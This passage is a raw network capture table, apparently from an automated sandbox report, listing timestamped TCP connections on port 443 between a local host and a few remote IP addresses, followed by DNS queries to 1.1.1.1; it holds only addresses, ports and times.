Oct 25, 2024 10:20:26.945379019 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.945586920 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.945597887 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.945678949 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.945756912 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.950931072 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.950948954 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.960652113 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.960691929 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963243961 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963414907 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963464022 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.963473082 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963593006 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963643074 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.963648081 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963746071 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963798046 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.963803053 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963897943 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.963943958 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.963948965 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.964397907 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.964513063 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.964597940 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.964602947 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.964632034 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.964708090 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.964714050 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.964876890 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.964927912 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.972902060 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.972915888 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.991255045 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.003441095 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.003530979 CEST	443	50215	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.003609896 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.003921986 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.003953934 CEST	443	50215	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.006716967 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.006752968 CEST	443	50216	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.007040024 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.007164955 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.007183075 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.007786989 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.007801056 CEST	443	50216	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.010591030 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.010627985 CEST	443	50217	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.010688066 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.010938883 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.010967016 CEST	443	50217	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.026951075 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.027184963 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.027194023 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.028208017 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.028263092 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.028556108 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.028616905 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.028701067 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.028707981 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.053004980 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.053100109 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.053467035 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.053503990 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.053522110 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.053559065 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.053581953 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.053724051 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.053824902 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.053852081 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.054882050 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.055067062 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.055176973 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.055264950 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.055265903 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.055294037 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.055332899 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.055702925 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.055780888 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.055783033 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.055805922 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.055970907 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.056065083 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.056090117 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.056099892 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.056128979 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.056308031 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.056689024 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.056801081 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.056828022 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.056833982 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.056931019 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.057600975 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.057713985 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.057777882 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.057786942 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.058109045 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.058109045 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.058507919 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.058600903 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.058662891 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.058679104 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.058700085 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.059053898 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.059058905 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.059408903 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.059503078 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.059551954 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.059559107 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.059717894 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.060306072 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.060583115 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.060590982 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.061039925 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.080446959 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.080599070 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.080667973 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.080729961 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.080735922 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.080749989 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.080881119 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.080888033 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.080981016 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.081001997 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.081053972 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.081237078 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.081243038 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.085443974 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.097568035 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.097599030 CEST	443	50218	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.101569891 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.105448008 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.105463028 CEST	443	50218	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.172851086 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.172882080 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.172907114 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.172931910 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.172957897 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.173008919 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.173010111 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.173010111 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.173203945 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.174272060 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.174299955 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.385718107 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.385757923 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.385778904 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.385884047 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.385898113 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.386015892 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.391243935 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:27.391263962 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:27.400453091 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.400490999 CEST	443	50219	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.400557041 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.400912046 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.400923967 CEST	443	50219	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.410975933 CEST	50220	443	192.168.2.6	13.107.253.72
Oct 25, 2024 10:20:27.411026955 CEST	443	50220	13.107.253.72	192.168.2.6
Oct 25, 2024 10:20:27.411380053 CEST	50220	443	192.168.2.6	13.107.253.72
Oct 25, 2024 10:20:27.411570072 CEST	50220	443	192.168.2.6	13.107.253.72
Oct 25, 2024 10:20:27.411601067 CEST	443	50220	13.107.253.72	192.168.2.6
Oct 25, 2024 10:20:27.706374884 CEST	443	50215	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.708339930 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.708365917 CEST	443	50215	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.709464073 CEST	443	50217	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.709789038 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.709831953 CEST	443	50217	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.710881948 CEST	443	50217	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.711045027 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.711302042 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.711302042 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.711385965 CEST	443	50217	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.711565971 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.711565971 CEST	443	50217	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.711565971 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.711582899 CEST	443	50217	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.711637974 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.711637974 CEST	50217	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.712507010 CEST	443	50215	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.712543011 CEST	443	50216	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.712641954 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.712924957 CEST	50221	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.712959051 CEST	443	50221	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.713009119 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713073015 CEST	443	50216	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.713089943 CEST	50221	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713366032 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713377953 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713440895 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713545084 CEST	443	50215	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.713634014 CEST	50222	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713675022 CEST	443	50222	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.713721037 CEST	50215	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713881016 CEST	50221	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713891983 CEST	50222	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.713903904 CEST	443	50221	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.714103937 CEST	443	50216	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.714272976 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.714343071 CEST	50222	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.714359999 CEST	443	50222	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.714657068 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.714657068 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.714704037 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.714756012 CEST	443	50216	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.714819908 CEST	50223	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.714845896 CEST	443	50223	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.714890957 CEST	50216	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.715598106 CEST	50223	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.715598106 CEST	50223	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.715632915 CEST	443	50223	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.724270105 CEST	443	50218	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.724936008 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.724953890 CEST	443	50218	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.726423025 CEST	443	50218	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.726711035 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.727088928 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.727088928 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.727089882 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.727195024 CEST	443	50218	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.727232933 CEST	50224	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.727284908 CEST	443	50224	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:27.727327108 CEST	50218	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.727894068 CEST	50224	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.728070974 CEST	50224	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:27.728087902 CEST	443	50224	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.011327028 CEST	443	50219	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.011818886 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.011840105 CEST	443	50219	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.012914896 CEST	443	50219	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.013298988 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.013494968 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.013494968 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.013560057 CEST	443	50219	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.013582945 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.013618946 CEST	50219	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.013895988 CEST	50225	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.013932943 CEST	443	50225	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.014167070 CEST	50225	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.014322996 CEST	50225	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.014338970 CEST	443	50225	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.182502985 CEST	443	50220	13.107.253.72	192.168.2.6
Oct 25, 2024 10:20:28.224072933 CEST	50220	443	192.168.2.6	13.107.253.72
Oct 25, 2024 10:20:28.326809883 CEST	443	50222	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.330827951 CEST	443	50223	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.336591005 CEST	443	50224	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.344211102 CEST	443	50221	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.379065037 CEST	50223	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.379096031 CEST	50222	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.379105091 CEST	50224	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.394308090 CEST	50221	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:28.628866911 CEST	443	50225	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:28.675339937 CEST	50225	443	192.168.2.6	104.21.16.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 10:18:38.003426075 CEST	50390	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:38.003691912 CEST	49490	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:38.022141933 CEST	53	56882	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.022943974 CEST	53	59678	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.023952961 CEST	53	51677	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.201596022 CEST	53	49490	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:38.207148075 CEST	53	50390	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:39.430399895 CEST	53	63931	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:39.628108978 CEST	57276	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:39.628386021 CEST	56535	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:41.957778931 CEST	57841	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:41.957901955 CEST	64315	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:41.965893030 CEST	53	64315	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:41.967124939 CEST	53	57841	1.1.1.1	192.168.2.6
Oct 25, 2024 10:18:46.517354012 CEST	64273	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:46.517570972 CEST	58858	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:46.987190008 CEST	64898	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:46.987366915 CEST	61653	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:18:56.515450954 CEST	53	55899	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:00.398407936 CEST	53	62556	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:08.905692101 CEST	59960	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:08.905857086 CEST	58479	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:08.913568020 CEST	53	58479	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:10.490355968 CEST	54484	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:10.490554094 CEST	49818	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:10.797465086 CEST	53	49818	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:10.895415068 CEST	52239	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:10.895613909 CEST	56487	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:10.903523922 CEST	53	56487	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:10.905977011 CEST	53	54484	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:10.917068005 CEST	51179	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:10.917506933 CEST	52848	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:14.266506910 CEST	62131	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:14.266875982 CEST	53576	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:14.269315004 CEST	50916	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:14.269874096 CEST	62078	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:14.274616003 CEST	53	62131	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:14.274669886 CEST	53	53576	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:14.276611090 CEST	53	50916	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:14.277674913 CEST	53	62078	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:15.461890936 CEST	53	54052	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:17.078282118 CEST	56030	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:17.078790903 CEST	64936	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:17.085670948 CEST	53	56030	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:17.086348057 CEST	53	64936	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:17.924685001 CEST	55934	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:17.925323009 CEST	64821	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:17.933000088 CEST	53	55934	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:17.933857918 CEST	53	64821	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:19.016591072 CEST	65263	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.016758919 CEST	50615	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.017808914 CEST	59704	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.018013000 CEST	50193	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.024440050 CEST	53	65263	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:19.024813890 CEST	53	50615	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:19.610845089 CEST	55392	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.611059904 CEST	65171	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.613255978 CEST	63734	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.613600969 CEST	61547	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.615598917 CEST	54291	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.615902901 CEST	49495	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.617964029 CEST	57706	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.618205070 CEST	57352	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.621328115 CEST	61626	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.621648073 CEST	49541	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.624916077 CEST	61135	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.625056982 CEST	57791	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.654705048 CEST	50592	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:19.654892921 CEST	57852	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.274245977 CEST	63799	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.274396896 CEST	52392	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.775573015 CEST	64342	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.775722027 CEST	54856	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.776782036 CEST	58194	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.776901007 CEST	61314	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.777996063 CEST	58195	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.778175116 CEST	55221	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.779782057 CEST	63791	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.779922962 CEST	56163	53	192.168.2.6	1.1.1.1
